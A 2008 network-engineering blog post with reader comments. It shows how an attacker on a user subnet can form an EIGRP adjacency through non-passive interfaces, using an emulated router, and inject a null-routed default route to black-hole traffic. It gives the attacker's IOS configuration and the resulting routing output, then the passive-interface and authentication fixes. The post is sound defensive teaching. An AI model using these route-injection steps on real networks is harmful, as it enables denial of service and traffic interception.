The dangers of nonpassive router interfaces
By stretch | Tuesday, October 7, 2008 at 12:25 a.m. UTC
By default, any network interface advertised by an IGP is considered active for that protocol. This means that the router will send information out that interface in an attempt to advertise routes or form adjacencies with neighboring routers. While this provides a bit of convenience to the administrator, it also presents a gaping security hole if neighbor adjacencies are not securely authenticated.
Consider a simple network of three routers running EIGRP. R1 advertises a default route to routers 2 and 3, each of which attaches a user subnet.
All three routers have a minimal EIGRP configuration:
R2# show run | section eigrp router eigrp 100 network 10.0.0.0 no auto-summary
Note that network 10.0.0.0/8 encompasses all three interfaces on both R2 and R3. This means the user-facing interfaces (on which we should never see another router) are active in the EIGRP process along with the two neighbor-facing interfaces:
R2# show ip eigrp interfaces IP-EIGRP interfaces for process 100 Xmit Queue Mean Pacing Time Multicast Pending Interface Peers Un/Reliable SRTT Un/Reliable Flow Timer Routes Fa0/0 1 0/0 34 0/2 104 0 Fa0/1 1 0/0 35 0/2 156 0 Fa1/0 0 0/0 0 0/1 0 0
While this might seem inconsequential on the surface, remember that this means EIGRP hello packets are being multicast out Fa1/0 to the user subnet, and the router is listening for hellos from potential adjacent routers. As it stands right now, this network is completely vulnerable to an attacker in either user subnet wanting to manipulate its routing architecture.
The first step such an attacker would take is to sniff traffic on the local subnet. The hellos sent by R2 provide all the information (AS number and K values) necessary to form an EIGRP adjacency.
As I've discussed previously, Dynamips is an ideal tool for emulating routers for network penetration purposes. Using the information gleaned from the EIGRP packet capture, an attacker can bind an emulated IOS router to the physical interface of his device and configure it to form an adjacency with R2. R2 will view the attacker as a legitimate peer router.
The attacker's virtual router is configured similar to the "real" routers (it is assumed that F0/0 of the virtual router is bound to the physical interface of the host device):
interface FastEthernet0/0 ip address 10.0.1.123 255.255.255.0 ! router eigrp 100 network 10.0.0.0 no auto-summary
R2 and the attacker's router form an adjacency shortly after the physical connection is completed:
%DUAL-5-NBRCHANGE: IP-EIGRP(0) 100: Neighbor 10.0.1.123 (FastEthernet1/0) is up: new adjacency
We can verify that the attacker's router has received the entire EIGRP topology from R2:
Attacker# show ip route Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2 E1 - OSPF external type 1, E2 - OSPF external type 2 i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2 ia - IS-IS inter area, * - candidate default, U - per-user static route o - ODR, P - periodic downloaded static route Gateway of last resort is 10.0.1.1 to network 0.0.0.0 10.0.0.0/8 is variably subnetted, 5 subnets, 2 masks D 10.0.12.0/30 [90/76800] via 10.0.1.1, 00:00:25, FastEthernet0/0 D 10.0.13.0/30 [90/102400] via 10.0.1.1, 00:00:25, FastEthernet0/0 D 10.0.2.0/24 [90/79360] via 10.0.1.1, 00:00:25, FastEthernet0/0 C 10.0.1.0/24 is directly connected, FastEthernet0/0 D 10.0.23.0/30 [90/76800] via 10.0.1.1, 00:00:25, FastEthernet0/0 D*EX 0.0.0.0/0 [170/332800] via 10.0.1.1, 00:00:25, FastEthernet0/0
As IGPs have no concept of privilege separation, the attacker is now free to manipulate the network's routing table at will. For example, he could create a denial of service attack by injecting a default route pointing to himself with a better metric than the route advertised by R1, effectively black-holing all traffic bound for the Internet.
Attacker(config)# ip route 0.0.0.0 0.0.0.0 null0 Attacker(config)# router eigrp 100 Attacker(config-router)# redistribute static metric 10000000 1 255 1 1500
Routers 1 and 2 see the injected route as having a more favorable metric, and will now forward all traffic with no more-specific match in the routing table to the attacker.
R2# show ip route 0.0.0.0 Routing entry for 0.0.0.0/0, supernet Known via "eigrp 100", distance 170, metric 28416, candidate default path, type external Redistributing via eigrp 100 Last update from 10.0.1.123 on FastEthernet1/0, 00:02:17 ago Routing Descriptor Blocks: * 10.0.1.123, from 10.0.1.123, 00:02:17 ago, via FastEthernet1/0 Route metric is 28416, traffic share count is 1 Total delay is 110 microseconds, minimum bandwidth is 100000 Kbit Reliability 255/255, minimum MTU 1500 bytes Loading 1/255, Hops 1
This concept could easily be expanded to accomplish a man-in-the-middle (MITM) attack against the network, using a second line to forward the traffic on to its final destination.
The easiest and most effective solution is simply to designate any interfaces on which a neighbor shouldn't appear as passive interfaces.
R2(config)# router eigrp 100 R2(config-router)# passive-interface f1/0
A passive interface won't transmit any hello packets, and thus cannot form an adjacency. Although best practice dictates that access subnets shouldn't be used for transport of routing information between peers, the scenario may arise with no alternative. In these cases it is critical that the routing exchanges be securely authenticated. An intruder may still be able to sniff the routing exchanges (depending on your layer 2 setup), but authentication will mitigate unauthorized adjacencies. For even better security, configure the routing to take place over an encrypted tunnel between the two neighbors.
About the Author
Jeremy Stretch is a network engineer living in the Raleigh-Durham, North Carolina area. He is known for his blog and cheat sheets here at Packet Life. You can reach him by email or follow him on Twitter.
Posted in Security
October 7, 2008 at 12:49 a.m. UTC
This is a great point that is overlooked on many networks.
October 7, 2008 at 6:47 a.m. UTC
We could use EIGRP authentication, or ?
And I think that we couldn't use the passive interface command if we had configured EIGRP like that :
R2# show run | section eigrp router eigrp 100 network 10.0.1.0 0.0.0.255 network 10.0.12.0 0.0.0.3 network 10.0.23.0 0.0.0.3 no auto-summary
October 7, 2008 at 8:31 a.m. UTC
One of the first things to do when creating a new router process should be a 'passive-interface default', followed by explicitly mentioning which interfaces we want to operate on.
October 7, 2008 at 9:05 a.m. UTC
Quality document! Going to re-create this in my lab.
October 7, 2008 at 10:12 a.m. UTC
@Dan: Sure you could. That's why the command is there; to allow the network to be advertised in EIGRP but to prevent EIGRP hellos form being sent out that interface.
October 7, 2008 at 1:00 p.m. UTC
Yeah I got it now.
If I have configured EIGRP like i wrote above, the others routers would find out about the 10.0.1.0/24 through FA0/0 on R2, am I right? The FA0/1 is not necessary for routing?
October 7, 2008 at 1:26 p.m. UTC
isn't this a 'best practice' : put passive interface for each interface that does not participate in routes exchange ? or use authentication :)
October 7, 2008 at 1:43 p.m. UTC
Another good process is shutting down unused ports so that an attacker can not just plug into the network ;)
October 7, 2008 at 4:17 p.m. UTC
Nice setup. Using network statements that define specific interfaces using the 0.0.0.0 wildcard is another good way to limit hellos
October 7, 2008 at 4:32 p.m. UTC
great post as always! i'm in the middle of rebuilding my lab but i can't bind the gns3 lab to my physical NIC. Can someone describe how to do this? many thanks in advance
October 7, 2008 at 7:24 p.m. UTC
@Chris: try http://7200emu.hacki.at, an excellent site on dynamips, dynagen and all that stuff. Everything's there you need for this.
October 7, 2008 at 8:38 p.m. UTC
Thanks Dude, I've sorted it out and redirected the whole traffic through my virtual GNS3 lab after injecting another route. awesome!
October 7, 2008 at 9:28 p.m. UTC
Great article Stretch, cheers.
October 9, 2008 at 3:35 p.m. UTC
What we do...
All of our EIGRP links are on their own vlans with their own IP schemes, then we passive-interface all the vlans that are not the EIGRP vlans or point to point vlans that go to other routers. works pretty good.
October 14, 2008 at 1:22 a.m. UTC
Yo all, when stretch said something about encryption...did he mean encrypting the hello's or tunnelling all the information?
how do you achieve that in eigrp?
October 17, 2008 at 1:53 p.m. UTC
The more secure and convenient way is to specify which interfaces should participate in the formation of routing protocol adjacencies, instead of the other way around (especially if you have tens or hundreds of interfaces):
! router xyz 123 passive-interface default no passive-interface f0/0 no passive-interface f0/1
August 13, 2014 at 1:13 a.m. UTC
- Configure "passive-interface default" - Configure "no passive-interface" only on interfaces that are expected to form adjacencies.
- Enable EIGRP Authentication
- Set all unused ports to an separate VLAN ("switchport access vlan 99"), disable DTP ("switchport nonegotiate"), and shutdown the unused ports ("shutdown").
- Port Security -- When properly configured, would err-disable ("switchport port-security violation shutdown") the port if an unexpected MAC Address, such as the one on the Dynamips/GNS3 router was connected to a switchport.